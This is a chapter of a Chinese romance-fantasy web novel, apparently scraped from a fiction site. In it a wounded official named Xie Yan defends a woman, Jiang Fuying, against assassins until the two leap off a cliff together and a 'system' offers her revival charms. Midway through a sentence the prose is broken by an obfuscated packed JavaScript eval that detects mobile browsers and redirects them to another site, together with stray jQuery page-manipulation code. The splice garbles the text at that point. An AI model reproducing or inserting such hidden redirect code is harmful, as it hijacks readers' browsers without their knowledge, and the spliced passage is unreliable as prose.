58. 那就一起死吧

作品:《妖女重生后误入疯批修罗场

    她让他去死,他却只说好。


    像失手打翻了什么,姜扶楹伸手想去拉他,谢砚却抱着她躲进有巨石丛林遮挡的坡下,刚好余留一点位置,够姜扶楹蜷缩起来。


    谢砚把那伤药捡回来,又把附近遗留的树枝将外面围得严严实实。


    冰凉的瓷瓶有微裂的碎痕,姜扶楹手指摸上去,被划破时泛起丝丝痛意,此外好像还遗留着刚刚划过衣角时的空荡感,好像有什么在心里刮了一下,刺挠一样的浑身难受。


    这里太难受了,姜扶楹这样想,眼睛却死死盯着树枝空隙外谢砚认真的脸。


    “躲好。”


    夜色朦胧,两人躲闪对视,谢砚黑漆漆的目光沉稳而温和,仿佛有他在,一切就能很安心,可姜扶楹的心却猛然悸动起来,她深深地看着他,想张口,话却被堵塞在喉咙里,说不出挽留的话。


    于是只能看着他一步步走远。


    她握紧拳头,细流的血液从指尖穿过,无声地滴落在地上,陷入泥土里,再无踪迹。


    只要她活下来了,无关紧要之人的生死又有什么重要的?


    和她又有什么关系呢?


    林声潇潇,四周安静无声,身前已是万丈悬崖,再无路可逃,谢砚猛然拉紧缰绳,马身高昂伴随一声长长嘶鸣,手中刀刃泛的冷光闪过身后躲在阴暗处绿油油伺机而动的眼珠。


    就在这千钧一发之际,如潮般的黑衣人从黑暗之中浮现。


    谢砚翻身而下之时,刀插进马背,血溅进眼睛,一片猩红。


    他此举,是存了死志,再无退路。


    为首之人退了半步,发现最重要的人不在,他动动手指,转身之际,一道凌厉气息忽然铺天盖地地袭来,兵刃相接,伴随清越声音而来的是倒了一地的尸首。


    他就站在乌压压一群人之外,须臾之间便逆转形势,像他将这数百人逼至绝境,孤身独立众人之外,身后是万丈深渊,无人敢越这界限,刀剑鲜血淋漓,泠泠夜色之中像一座沉默的杀神。


    一群人冲上去,而后满地血流成河,残肢断臂滚到他们中间,是警告,亦是忠告。


    他黑沉沉的目光扫过周围一圈圈的人,只要有人想动,哪怕隔着数里之远,隔着数百个人,哪怕一身伤痕,也无一人能离开。


    “谢大人,何必要到如此境地?”


    嘶哑的声音从人群中心传来,他此行的目的不在于此,更不想对上谢砚,进退两难之际只能踌躇开口。


    这声音并不陌生,谢砚手臂,脊背已有多处伤痕,他却依然身姿挺立,周身森然,手中弯刀泛着浓浓杀戮之气。


    李录闭了闭眼睛,便知此战将是避无可避的伤亡惨重。


    但既已捅破这最后一层窗户纸,今日,谢砚若活下来,便是万劫不复。


    手中忽然刺痛难耐,姜扶楹骤然松了手,那瓶子就这么咕噜咕噜地滚出树枝外。


    姜扶楹就这样盯着那瓶子,盯了半晌,耳边风声鹤唳,忽然,她一把推开所有,狼狈地从谢砚为她围起来的那一方小天地里冲出来。


    她想捡起那瓶子,但忘了已经蜷缩太久,在冲出来的那一刻,腿失去知觉,而后脚踝一扭,整个人摔了出去,手按在瓶子上,鲜血淌了一手。


    风声顿时清晰起来。


    姜扶楹鼻尖一酸,忽然觉得这疼痛太过剧烈,她颤着手,一颗滚烫的泪莫名地滚下来,砸在手里,怎么能这么痛?


    但她还是把这瓶子紧紧抓在手中,撑着撕裂疼痛的脚踝站起来。


    不远处的云京城恢宏远大,仍有灯火通明,只要再走一段路,或许就能见到云涧她们。


    只要见到她们,她就能活下来,活下来,然后她还要从顾乘手里夺回账本,还要查清楚顾家和梁家,太师的关系。


    如果顾家也是太师的人,她还要查一查,当年的事是否也有别人的手笔。


    从前的事,一个人都别想逃脱干系!


    她这样想,情绪堆积在胸腔内横冲直撞,有一个声音反复在她耳边疯狂叫嚣:走啊!走啊!


    她感觉脚踝剧烈的疼痛,是因为跑的疼痛。


    可她就停在那,半晌也没挪动脚步。


    良久,良久的沉顿,于是,就在这赫赫风中,她慢慢挪动扭伤的脚踝,不是前进,却是转了脚步,朝密林深处不管不顾地跑进去。


    一地尸首,谢砚撑着刀柄,单膝跪在地上。


    一群人死了,很快就有另一群人补上,像围剿困兽,不计后果,只等他精力被耗尽,便能结束这场恶斗。


    一身的血,早已分不清是谁的。


    谢砚胸腔剧烈起伏,眼前猩红一片,早已有些看不清楚,只有萦绕在他身侧的一丝淡香拉扯着他恶痛的神经,维持短暂的清醒。


    厮杀了近一个时辰,即使是猛兽也早已力竭,却还有无数的人,等着冲上来,撕咬血肉。


    李录死盯着他,只一挥手,便又有数十人围上去,刀刃扎进厚实的血肉,留下一声声闷响,只在那一瞬,他手中刀拔出那一瞬,慢了的那一秒,双剑出刃,他踏着一地尸首的头颅冲过去,剑光凛冽,带着经年不见的杀气。


    弯刀反手挡在颈侧,却被这汹涌的剑气迅速直逼,竟一路逼退至崖边。


    隐藏在人群中的人绿幽幽的目光一闪,一只暗箭犹如毒蛇,悄无声息破空巧妙穿过逼仄的人群,直冲悬崖。


    “谢砚!”


    谢砚的紧绷的神经被这一声声嘶力竭的喊声促然拉回,不等他动作,便觉一股馨香扑进他怀中,他支撑身体的腿骤然失了力道,两人重重摔到地上。


    箭破空划破背脊,凉风与刺痛交织。


    谢砚拿手紧紧护着她的头,两人在地上滚了几圈,手背被粗粝的石头刮烂,他却恍然不觉,姜扶楹听见他的心跳,急促有力,声音却低得嘶哑,像裹杂着浓烈的血腥气,缓了又缓,才低声问她:“你上药了吗?”


    他浑身是伤,握刀的手不可觉察地轻微在抖,仍以一己之力为她拦下所有人。


    而见她第一眼,没有指责,没有责怪,只是像问她有没有好好吃饭一样,极寻常地问她,你上药了吗?


    姜扶楹的眼泪顿时像掉了线的珠子,扑落落地掉下来,她埋进他被血液洇湿的胸前,喉咙酸涩难当。


    谢砚有那么一刻的愣神,他感受到无比滚烫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968785|168707||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的濡湿,像是不可置信,他抬起手,停在她头发上,半晌不敢落下去。


    李录被谢砚临倒下前的刀势逼退几步,他怔怔看着不知道从哪冒出来的小姑娘,眼睛陡然瞪大,一瞬不瞬地盯着,脑中似有惊雷乍响,停在原地,半天没有动静。


    倏然之间,谢砚手动了动,姜扶楹却比他更先听到动静,带着他翻身一转,又是一只暗箭穿过,她猛然往那黑压压一群人之间看过去,锐利的视线直直地戳进人群当中。


    李录也愣住了,他转身望过去,人群遮挡,数支暗箭齐发,紧接着他明明没有施令,所有人却不约而同拔剑冲过来,似乎誓要与他们同归于尽。


    “闭眼。”谢砚握紧弯刀,反手击落数支羽箭,而后便又是铺天盖地的箭袭来。


    谢砚将她紧紧护在怀里,满是伤痕的脊背暴露在万千羽箭之下。


    姜扶楹能感觉到他宽厚手臂的温热,能听见万箭齐发的倏倏声响。


    几乎是不经思考,她环住谢砚,带着他破釜沉舟地往后一倒。


    死就死吧。姜扶楹忽然想。


    万里深渊,耳边风声疾疾。


    她听见自己的声音:“谢砚。”


    “那就一起死吧。”


    谢砚没有反抗,只是仍死死地抱着她,极淡的声音依旧回道:“好。”


    这次,他没有把握,却甘之如饴。


    他把手轻轻放在她脑后,按进离自己心脏最近的地方,像是安抚。


    在坠落的啸啸风声之中,他们紧紧相拥,彼此一身滚烫的血液似乎都在此刻交融,谢砚把她牢牢护在怀中,即使是这样的疾速下坠的时刻,姜扶楹竟然也感受不到寒冷,只有谢砚怀里的温度,炽热,滚烫。


    姜扶楹闭上眼睛,极速下降的过程中,眼前一幕幕闪现的,竟然都是陌生的场景,她呼吸急促,好像快喘不过来气,直至最后,她眼前忽然白茫茫一片。


    ……


    她眼睛有些睁不开,竟就这样迷蒙地陷入混沌之中。


    这是一片无际大地,冰天雪地,只有一树梨花被雪覆盖,重重压弯了枝条,这竟是这里除了她以外,唯一的活物。


    系统冰冷而机械的声音在茫茫天际响起:“检测到宿主死亡风险,是否使用保命符?”


    不是熟悉的声音,是代班系统。


    姜扶楹舒出一口气,同时困惑地望向自己手心,这里光滑一片,却仿佛还留有药瓶割裂的触感。


    她还有保命符?不是之前在汴州就用掉了吗?


    姜扶楹摸了摸自己的腰间,竟然又摸出系统之前给她的锦囊。


    她打开,里面是一张熟悉的字条,姜扶楹打开却发现,字条内容与之前截然不同,反而写着因为前世失去记忆,保命符暂时失去用处,所以这一世系统又把这三次保命符转赠回来。


    所以,这么算下来……


    系统冰冷的声线再度响起:“检测到宿主还有两次保命符,是否要救同伴?”


    “注意,宿主只有最后两次保命符,全部使用完成,如果未曾完成任务,宿主的灵魂碎片将被彻底清除。”


    “请宿主慎重考虑……”